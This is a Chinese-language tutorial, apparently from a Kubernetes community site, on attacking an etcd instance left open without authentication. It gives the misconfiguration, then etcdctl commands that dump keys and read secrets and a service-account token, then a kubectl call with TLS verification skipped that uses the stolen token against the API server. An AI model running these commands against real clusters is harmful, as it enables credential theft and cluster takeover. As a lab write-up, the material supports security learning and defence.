etcd 用于存储K8s集群中的所有配置数据和状态信息,如果管理员配置不当,导致etcd未授权访问的情况,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。

(1)攻击场景

将client-cert-auth=true 改为false,把listen-client-urls监听修改为0.0.0.0,将端口被暴露出去,导致etcd存在未授权访问漏洞。

vi /etc/kubernetes/manifests/etcd.yaml
    - --client-cert-auth=false
    - --listen-client-urls=http://0.0.0.0:2379

(2)攻击过程

下载etcdctl直接用命令行即可访问etcd

https://github.com/etcd-io/etcd/releases/download/v3.4.9/etcd-v3.4.9-linux-amd64.tar.gz
tar -xf etcd-v3.4.9-linux-amd64.tar.gz
cd etcd-v3.4.9-linux-amd64
#读取etcd中存储的数据,通过--limit选项限制数量
export ETCDCTL_API=3
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --limit=2

#获取k8s的secrets和token
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --keys-only |grep secrets
./etcdctl --endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj

成功获取高权限服务账号token

通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“[.token.]” -n kube-system get pods

Logo

K8S/Kubernetes社区为您提供最前沿的新闻资讯和知识内容

更多推荐